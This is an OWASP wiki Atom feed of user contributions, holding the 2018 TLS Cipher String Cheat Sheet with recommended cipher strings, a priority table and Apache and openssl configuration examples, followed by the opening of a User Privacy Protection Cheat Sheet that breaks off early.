<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Peter+Mosmans</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Peter+Mosmans"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Peter_Mosmans"/>
		<updated>2026-05-26T05:13:38Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=TLS_Cipher_String_Cheat_Sheet&amp;diff=243849</id>
		<title>TLS Cipher String Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=TLS_Cipher_String_Cheat_Sheet&amp;diff=243849"/>
				<updated>2018-09-30T11:09:48Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Fix multiple typos&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear and simple examples for the cipher string. They are based on different scenarios where you use the Transport Layer Security (TLS) protocol.&lt;br /&gt;
&lt;br /&gt;
=Recommendations for a cipher string=&lt;br /&gt;
==Scenarios==&lt;br /&gt;
The cipher strings are based on the recommendation to setup your policy to get a whitelist for your ciphers as described in the &amp;lt;u&amp;gt;[[Transport_Layer_Protection_Cheat_Sheet#Rule_-_Only_Support_Strong_Cryptographic_Ciphers|Transport Layer Protection Cheat Sheet (Rule - Only Support Strong Cryptographic Ciphers)]]&amp;lt;/u&amp;gt;. The latest and strongest ciphers are solely available with TLSv1.2, older protocols don't support them. Please find enclosed all supported protocols by the scenario.&amp;lt;br&amp;gt;We have not included any ChaCha20-Poly1305 ciphers, yet. One reason is that we haven't found various assessments yet, the other is that implementations of new ciphers may be more buggy.&amp;lt;br&amp;gt;Finally we have compiled the oldest versions of different client agents that are still compatible with a cipher string. We provide this information according to the ciphers and protocols supported by browsers, libraries, bots on the basis of &amp;lt;u&amp;gt;[https://www.ssllabs.com/ssltest/clients.html ssllabs's list of user agent capabilities]&amp;lt;/u&amp;gt; and tests on our own. We have checked this thoroughly, but please accept that all data is provided without any warranty of any kind (Please contact the authors if you find any errors or if you can provide additional data). &lt;br /&gt;
  &lt;br /&gt;
The recommended cipher strings are based on different scenarios:&lt;br /&gt;
* &amp;lt;b&amp;gt;OWASP Cipher String 'A+'&amp;lt;/b&amp;gt; (Advanced+, limited compatibility, e.g. to more recent browser versions)&lt;br /&gt;
:* Recommended if you control the server and the clients (e.g. by approvement) and if you check the compatibility before using it&lt;br /&gt;
:* Includes solely the strongest perfect forward secrecy (PFS) ciphers&lt;br /&gt;
:* Protocols: TLSv1.2 (and newer or better)&lt;br /&gt;
:* Oldest known clients that are compatible: Android 4.4.2, BingPreview Jan 2015, Chrome 32/Win 7, Chrome 34/OS X, Edge 12/Win 10, Firefox 27/Win 8, Googlebot Feb 2015, IE11/Win 7 + MS14-066, Java8b132, OpenSSL 1.0.1e, Safari 9/iOS 9, Yahoo Slurp Jun 2014, YandexBot Sep 2014 &lt;br /&gt;
* &amp;lt;b&amp;gt;OWASP Cipher String 'A'&amp;lt;/b&amp;gt; (Advanced, wider compatibility, e.g. to most newer browser versions)&lt;br /&gt;
:* Recommended if you control the server and the clients (e.g. by approvement) if the 'A+' string does not work, make sure to check the compatibility before using it&lt;br /&gt;
:* includes solely the strongest and stronger PFS ciphers&lt;br /&gt;
:* Protocols: TLSv1.2 (and newer or better)&lt;br /&gt;
:* Oldest known clients that are compatible: Android 4.4.2, BingPreview Jan 2015, Chrome 30/Win 7, Chrome 34/OS X, Edge 12/Win 10, Firefox 27/Win 8, Googlebot Feb 2015, IE11/Win 7, IE 11/WinPhone 8.1, Java8b132, OpenSSL 1.0.1e, Opera 17/Win 7, Safari 5/iOS 5.1.1, Safari 7/OS X 10.9, Yahoo Slurp Jun 2014, YandexBot Sep 2014  &lt;br /&gt;
* &amp;lt;b&amp;gt;OWASP Cipher String 'B'&amp;lt;/b&amp;gt; (Broad compatibility to browsers, check the compatibility to other protocols before using it, e.g. IMAPS)&lt;br /&gt;
:* Recommended if you solely control the server, the clients use their browsers and if you check the compatibility before using it for other protocols than https &lt;br /&gt;
:* Includes solely PFS ciphers&lt;br /&gt;
:* Be aware of additional risks and of new vulnerabilities that may appear are more likely than above&lt;br /&gt;
:* Plan to phase out SHA-1 and TLSv1, TLSv1.1 for https in middle-term  &lt;br /&gt;
:* Protocols: TLSv1.2, TLSv1.1, TLSv1 (and newer or better)&lt;br /&gt;
:* Oldest known clients that are compatible: Android 2.3.7/4.0.4, Baidu Jan 2015, BingPreview Dec 2013, Chrome 27/Win 7, Chrome 34/OS X, Edge 12/Win 10, Firefox 10.0.12 ESR/Win 7, Firefox 21/Win 7+Fedora 19, Googlebot Oct 2013, IE 7/Vista,  IE 10/WinPhone 8.0, Java 7u25, OpenSSL 0.9.8y, Opera 12.15/Win 7, Safari 5/iOS 5.1.1, Safari 5.1.9/OS X 10.6.8, Yahoo Slurp Oct 2013, YandexBot May 2014 &lt;br /&gt;
* &amp;lt;b&amp;gt;OWASP Cipher String 'C'&amp;lt;/b&amp;gt; (Widest Compatibility, compatibility to most legacy browsers, legacy libraries (still patched) and other application protocols besides https, e.g. IMAPS)&lt;br /&gt;
:* You may use this if you solely control the server, your clients use elder browsers and other elder libraries or if you use other protocols than https&lt;br /&gt;
:* Be aware of the existing risks and of new vulnerabilities that may appear more likely&lt;br /&gt;
:* PFS ciphers are preferred, except all DHE ciphers that use SHA-1 (to prevent possible incompatibility issues caused by the length of the DHparameter)&lt;br /&gt;
:* Plan to move to 'A' for https or at least 'B' otherwise in middle-term  &lt;br /&gt;
:* Protocols: TLSv1.2, TLSv1.1, TLSv1 (and newer or better)&lt;br /&gt;
* &amp;lt;b&amp;gt;OWASP Cipher String 'C-'&amp;lt;/b&amp;gt; (Legacy, widest compatibility to real old browsers and legacy libraries and other application protocols like SMTP)&lt;br /&gt;
:* Take care, use this cipher string only if you are forced to support 3DES(=TLS_RSA_WITH_3DES_EDE_CBC_SHA, =DES-CBC3-SHA) for real old clients with very old libraries or old libraries for other protocols besides https&lt;br /&gt;
:* Be aware of the existing risks (e.g. ciphers without PFS, ciphers with 3DES) and of new vulnerabilities that may appear the most likely&lt;br /&gt;
:* &amp;lt;b&amp;gt;Never use&amp;lt;/b&amp;gt; even more INSECURE or elder ciphers based on RC2, RC4, DES, MD4, MD5, EXP, EXP1024, AH, ADH, aNULL, eNULL, SEED nor IDEA  &lt;br /&gt;
:* PFS ciphers are preferred, except all DHE ciphers that use SHA-1 (to prevent possible incompatibility issues caused by the length of the DHparameter)&lt;br /&gt;
:* Plan to move at least to 'C' in a short-term  &lt;br /&gt;
:* Protocols: TLSv1.2, TLSv1.1, TLSv1 (and newer or better)&lt;br /&gt;
&lt;br /&gt;
==Table of the ciphers (and their priority from high (1) to low (e.g. 19))==&lt;br /&gt;
IANA, OpenSSL and other crypto libraries use slightly different names for the same ciphers. This table lists the names used by IANA and by openssl in brackets []. Additional you can find the unambiguously hex values defined by IANA. Mozilla offers a larger &amp;lt;u&amp;gt;[https://wiki.mozilla.org/Security/Server_Side_TLS#Cipher_names_correspondence_table cipher names correspondence table]&amp;lt;/u&amp;gt;.  &lt;br /&gt;
{| border=&amp;quot;1&amp;quot; cellspacing=&amp;quot;1&amp;quot; cellpadding=&amp;quot;1&amp;quot; style=&amp;quot;border-collapse:collapse; text-align: center; font-size:84%;&amp;quot;&lt;br /&gt;
|- style=&amp;quot;font-size: 119%; background-color:#DCDCDC;&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align:left;&amp;quot; |Cipher name: &amp;lt;br&amp;gt; IANA, [openssl]&lt;br /&gt;
! style=&amp;quot;width: 8%;&amp;quot; | Cipher hex value&lt;br /&gt;
! style=&amp;quot;width:11%;&amp;quot; | Advanced+ (A+)&lt;br /&gt;
! style=&amp;quot;width:11%;&amp;quot; | Advanced (A)&lt;br /&gt;
! style=&amp;quot;width:11%;&amp;quot; | Broad &amp;lt;br&amp;gt; Compatibility (B)&lt;br /&gt;
! style=&amp;quot;width:11%;&amp;quot; | Widest &amp;lt;br&amp;gt; Compatibility (C)&lt;br /&gt;
! style=&amp;quot;width:11%;&amp;quot; | Legacy (C-)&lt;br /&gt;
|- style=&amp;quot;background-color:#B9FFC5;&amp;quot;&lt;br /&gt;
&amp;lt;!---                     | IANA,                                  &amp;lt;br&amp;gt; [openssl]                     || Hex      || A+ ||  A ||  B ||  C ||  C- ----&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_DHE_RSA_WITH_AES_256_GCM_SHA384,   &amp;lt;br&amp;gt; [DHE-RSA-AES256-GCM-SHA384]   || 0x009f   ||  1 ||  1 ||  1 ||  1 ||  1&lt;br /&gt;
|- style=&amp;quot;background-color:#B9FFC5;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_DHE_RSA_WITH_AES_128_GCM_SHA256,   &amp;lt;br&amp;gt; [DHE-RSA-AES128-GCM-SHA256]   || 0x009e   ||  2 ||  2 ||  2 ||  2 ||  2&lt;br /&gt;
|- style=&amp;quot;background-color:#B9FFC5;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, &amp;lt;br&amp;gt; [ECDHE-RSA-AES256-GCM-SHA384] || 0xc030   ||  3 ||  3 ||  3 ||  3 ||  3&lt;br /&gt;
|- style=&amp;quot;background-color:#B9FFC5;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, &amp;lt;br&amp;gt; [ECDHE-RSA-AES128-GCM-SHA256] || 0xc02f   ||  4 ||  4 ||  4 ||  4 ||  4&lt;br /&gt;
|- style=&amp;quot;background-color:#E3FFE3;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_DHE_RSA_WITH_AES_256_CBC_SHA256,   &amp;lt;br&amp;gt; [DHE-RSA-AES256-SHA256]       || 0x006b   ||    ||  5 ||  5 ||  5 ||  5&lt;br /&gt;
|- style=&amp;quot;background-color:#E3FFE3;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_DHE_RSA_WITH_AES_128_CBC_SHA256,   &amp;lt;br&amp;gt; [DHE-RSA-AES128-SHA256]       || 0x0067   ||    ||  6 ||  6 ||  6 ||  6&lt;br /&gt;
|- style=&amp;quot;background-color:#E3FFE3;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, &amp;lt;br&amp;gt; [ECDHE-RSA-AES256-SHA384]     || 0xc028   ||    ||  7 ||  7 ||  7 ||  7&lt;br /&gt;
|- style=&amp;quot;background-color:#E3FFE3;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, &amp;lt;br&amp;gt; [ECDHE-RSA-AES128-SHA256]     || 0xc027   ||    ||  8 ||  8 ||  8 ||  8&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,    &amp;lt;br&amp;gt; [ECDHE-RSA-AES256-SHA]        || 0xc014   ||    ||    ||  9 ||  9 ||  9&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,    &amp;lt;br&amp;gt; [ECDHE-RSA-AES128-SHA]        || 0xc013   ||    ||    || 10 || 10 || 10&lt;br /&gt;
|- style=&amp;quot;background-color:#F4F6F8;&amp;quot; &lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_RSA_WITH_AES_256_GCM_SHA384,       &amp;lt;br&amp;gt; [AES256-GCM-SHA384]           || 0x009d   ||    ||    ||    || 11 || 11&lt;br /&gt;
|- style=&amp;quot;background-color:#F4F6F8;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_RSA_WITH_AES_128_GCM_SHA256,       &amp;lt;br&amp;gt; [AES128-GCM-SHA256]           || 0x009c   ||    ||    ||    || 12 || 12&lt;br /&gt;
|- style=&amp;quot;background-color:#F4F6F8;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_RSA_WITH_AES_256_CBC_SHA256,       &amp;lt;br&amp;gt; [AES256-SHA256]               || 0x003d   ||    ||    ||    || 13 || 13&lt;br /&gt;
|-  style=&amp;quot;background-color:#F4F6F8;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_RSA_WITH_AES_128_CBC_SHA256,       &amp;lt;br&amp;gt; [AES128-SHA256]               || 0x003c   ||    ||    ||    || 14 || 14&lt;br /&gt;
|- style=&amp;quot;background-color:#F4F6F8;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_RSA_WITH_AES_256_CBC_SHA,          &amp;lt;br&amp;gt; [AES256-SHA]                  || 0x0035   ||    ||    ||    || 15 || 15&lt;br /&gt;
|- style=&amp;quot;background-color:#F4F6F8;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_RSA_WITH_AES_128_CBC_SHA,          &amp;lt;br&amp;gt; [AES128-SHA]                  || 0x002f   ||    ||    ||    || 16 || 16&lt;br /&gt;
|- style=&amp;quot;background-color:#FFFF88;&amp;quot;&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_RSA_WITH_3DES_EDE_CBC_SHA,         &amp;lt;br&amp;gt; [DES-CBC3-SHA]                || 0x000a   ||    ||    ||    ||    || 17&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_DHE_RSA_WITH_AES_256_CBC_SHA,      &amp;lt;br&amp;gt; [DHE-RSA-AES256-SHA]          || 0x0039   ||    ||    || 11 || 17 || 18&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;text-align:left&amp;quot; | TLS_DHE_RSA_WITH_AES_128_CBC_SHA,      &amp;lt;br&amp;gt; [DHE-RSA-AES128-SHA]          || 0x0033   ||    ||    || 12 || 18 || 19&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;b&amp;gt;Remarks:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;- Elder versions of Internet-Explorer and Java do &amp;lt;b&amp;gt;not&amp;lt;/b&amp;gt; support Diffie-Hellman parameters &amp;gt;1024 bit. So the ciphers 'TLS_DHE_RSA_WITH_AES_256_CBC_SHA' and 'TLS_DHE_RSA_WITH_AES_128_CBC_SHA' were moved to the end to prevent possible incompatibility issues. Other option: Delete this two ciphers from your list.&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Examples for cipher strings==&lt;br /&gt;
* OpenSSL&lt;br /&gt;
::{| border=&amp;quot;1&amp;quot; cellspacing=&amp;quot;1&amp;quot; cellpadding=&amp;quot;1&amp;quot; style=&amp;quot;border-collapse:collapse; text-align: left; font-size:84%;&amp;quot;&lt;br /&gt;
|- style=&amp;quot;font-size: 119%; background-color:#EAECF0;&amp;quot;&lt;br /&gt;
!Cipher-String             || OpenSSL-Syntax&lt;br /&gt;
|- style=&amp;quot;background-color:#B9FFC5;&amp;quot;&lt;br /&gt;
| style=&amp;quot;font-size: 119%;&amp;quot;| &amp;lt;b&amp;gt;Advanced+ (A+)&amp;lt;/b&amp;gt;           || DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256&lt;br /&gt;
|- style=&amp;quot;background-color:#E3FFE3;&amp;quot;&lt;br /&gt;
| style=&amp;quot;font-size: 119%;&amp;quot;| &amp;lt;b&amp;gt;Advanced (A)&amp;lt;/b&amp;gt;             || DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;font-size: 119%;&amp;quot;| &amp;lt;b&amp;gt;Broad Compatibility (B)&amp;lt;/b&amp;gt;  || DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA&lt;br /&gt;
|- style=&amp;quot;background-color:#F4F6F8;&amp;quot;&lt;br /&gt;
| style=&amp;quot;font-size: 119%;&amp;quot;| &amp;lt;b&amp;gt;Widest Compatibility (C)&amp;lt;/b&amp;gt; || DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA&lt;br /&gt;
|- style=&amp;quot;background-color:#FFFF88;&amp;quot;&lt;br /&gt;
| style=&amp;quot;font-size: 119%;&amp;quot;| &amp;lt;b&amp;gt;Legacy (C-)&amp;lt;/b&amp;gt;              || DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA&lt;br /&gt;
|}&lt;br /&gt;
= How to use this Cipher Strings? =&lt;br /&gt;
* Inform yourself how to securely configure the settings for the services or hardware that you do use, e.g. &amp;lt;u&amp;gt;[https://bettercrypto.org BetterCrypto.org: Applied Crypto Hardening (DRAFT)]&amp;lt;/u&amp;gt;, &amp;lt;u&amp;gt;[https://wiki.mozilla.org/Security/Server_Side_TLS  Mozilla: Security/Server Side TLS]&amp;lt;/u&amp;gt;. We recommend to use one of the cipher strings described above.&lt;br /&gt;
&lt;br /&gt;
=Example configs=&lt;br /&gt;
==Apache== &lt;br /&gt;
* Cipher String 'A':&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2013}}&lt;br /&gt;
SSLProtocol +TLSv1.2 &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;# for Cipher-String 'A+', 'A'&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;SSLProtocol +TLSv1.2 +TLSv1.1 +TLSv1 # for Cipher-String 'B', 'C', 'C-'&amp;lt;br&amp;gt;&lt;br /&gt;
SSLCompression off &amp;lt;br&amp;gt;&lt;br /&gt;
SSLHonorCipherOrder on &amp;lt;br&amp;gt;&lt;br /&gt;
SSLCipherSuite 'DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256'&amp;lt;br&amp;gt; &lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;add optionally ':!aNULL:!eNULL:!LOW:!3DES:!MD5:!EXP:!PSK:!DSS:!RC4:!SEED:!ECDSA:!ADH:!IDEA:!3DES' &lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&amp;lt;b&amp;gt;Remarks:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;- The cipher string is compiled as a whitelist of individual ciphers to get a better compatibility even with old versions of OpenSSL.&amp;lt;br/&amp;gt;- Monitor the performance of your server, e.g. the TLS handshake with DHE hinders the CPU about 2.4 times more than ECDHE, cf. &amp;lt;u&amp;gt;[http://vincent.bernat.im/en/blog/2011-ssl-perfect-forward-secrecy.html#some-benchmarks Vincent Bernat, 2011]&amp;lt;/u&amp;gt;, &amp;lt;u&amp;gt;[http://nmav.gnutls.org/2011/12/price-to-pay-for-perfect-forward.html nmav's Blog, 2011]&amp;lt;/u&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Verify your cipher string using your crypto library, e.g. openssl using cipher string 'A':&lt;br /&gt;
{{Top_10_2010:ExampleBeginTemplate|year=2013}}&lt;br /&gt;
openssl ciphers -V &amp;quot;DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;add optionally ':!aNULL:!eNULL:!LOW:!MD5:!EXP:!PSK:!DSS:!RC4:!SEED:!ECDSA:!ADH:!IDEA' to protect older Versions of OpenSSL&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;use openssl ciphers -v &amp;quot;...&amp;quot; for openssl &amp;lt; 1.0.1:&lt;br /&gt;
&amp;lt;small&amp;gt;&lt;br /&gt;
 0x00,0x9F - DHE-RSA-AES256-GCM-SHA384   TLSv1.2 Kx=DH     Au=RSA  Enc=AESGCM(256) Mac=AEAD&lt;br /&gt;
 0x00,0x9E - DHE-RSA-AES128-GCM-SHA256   TLSv1.2 Kx=DH     Au=RSA  Enc=AESGCM(128) Mac=AEAD&lt;br /&gt;
 0xC0,0x30 - ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH   Au=RSA  Enc=AESGCM(256) Mac=AEAD&lt;br /&gt;
 0xC0,0x2F - ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH   Au=RSA  Enc=AESGCM(128) Mac=AEAD&lt;br /&gt;
 0x00,0x6B - DHE-RSA-AES256-SHA256       TLSv1.2 Kx=DH     Au=RSA  Enc=AES(256)    Mac=SHA256&lt;br /&gt;
 0x00,0x67 - DHE-RSA-AES128-SHA256       TLSv1.2 Kx=DH     Au=RSA  Enc=AES(128)    Mac=SHA256&lt;br /&gt;
 0xC0,0x28 - ECDHE-RSA-AES256-SHA384     TLSv1.2 Kx=ECDH   Au=RSA  Enc=AES(256)    Mac=SHA384&lt;br /&gt;
 0xC0,0x27 - ECDHE-RSA-AES128-SHA256     TLSv1.2 Kx=ECDH   Au=RSA  Enc=AES(128)    Mac=SHA256&lt;br /&gt;
&amp;lt;/small&amp;gt;&lt;br /&gt;
{{Top_10_2010:ExampleEndTemplate}}&lt;br /&gt;
&amp;lt;b&amp;gt;CAUTION&amp;lt;/b&amp;gt;: You need a newer version of OpenSSL to use this cipher string!&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Related Articles=&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;u&amp;gt;[[Transport Layer Protection Cheat Sheet|OWASP: Transport Layer Protection Cheat Sheet]]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[https://bettercrypto.org BetterCrypto.org: Applied Crypto Hardening (DRAFT)]&amp;lt;/u&amp;gt;&lt;br /&gt;
* &amp;lt;u&amp;gt;[https://wiki.mozilla.org/Security/Server_Side_TLS  Mozilla: Security/Server Side TLS]&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
{{Template:Contact | name = Torsten Gigler | email =torsten.gigler@owasp.org | username = T.Gigler}}&amp;lt;br/&amp;gt;&lt;br /&gt;
{{Template:Contact | name = Achim Hoffmann | email =achim@owasp.org | username = Achim}}&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User_Privacy_Protection_Cheat_Sheet&amp;diff=241394</id>
		<title>User Privacy Protection Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User_Privacy_Protection_Cheat_Sheet&amp;diff=241394"/>
				<updated>2018-06-19T06:11:05Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Replace TrueCrypt with its 'successor' VeraCrypt&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
This OWASP Cheat Sheet introduces mitigation methods that web developers may utilize in order to protect their users from a vast array of&lt;br /&gt;
potential threats and aggressions that might try to undermine their privacy and anonymity. This cheat sheet focuses on privacy and anonymity threats that users might face by using online services, especially in contexts such as social networking and communication platforms. &lt;br /&gt;
&lt;br /&gt;
= Guidelines =&lt;br /&gt;
&lt;br /&gt;
== Strong Cryptography ==&lt;br /&gt;
&lt;br /&gt;
Any online platform that handles user identities, private information or communications must be secured with the use of strong cryptography. User communications must be encrypted in transit and storage. User secrets such as passwords must also be protected using strong, collision-resistant hashing algorithms with increasing work factors, in order to greatly mitigate the risks of exposed credentials as well as proper integrity control. &lt;br /&gt;
&lt;br /&gt;
To protect data in transit, developers must use and adhere to TLS/SSL best practices such as verified certificates, adequately protected private keys, usage of strong ciphers only, informative and clear warnings to users, as well as sufficient key lengths. &lt;br /&gt;
Private data must be encrypted in storage using keys with sufficient lengths and under strict access conditions, both technical and procedural. User credentials must be hashed regardless of whether or not they are encrypted in storage. &lt;br /&gt;
&lt;br /&gt;
For detailed guides about strong cryptography and best practices, read the following OWASP references: &lt;br /&gt;
&lt;br /&gt;
# [https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet Cryptographic Storage Cheat Sheet]&lt;br /&gt;
# [https://www.owasp.org/index.php/Authentication_Cheat_Sheet Authentication Cheat Sheet]&lt;br /&gt;
# [https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet Transport Layer Protection Cheat Sheet]&lt;br /&gt;
# [https://www.owasp.org/index.php/Guide_to_Cryptography Guide to Cryptography]&lt;br /&gt;
# [https://www.owasp.org/index.php/Testing_for_SSL-TLS_%28OWASP-CM-001%29 Testing for TLS/SSL]&lt;br /&gt;
&lt;br /&gt;
== Support HTTP Strict Transport Security ==&lt;br /&gt;
&lt;br /&gt;
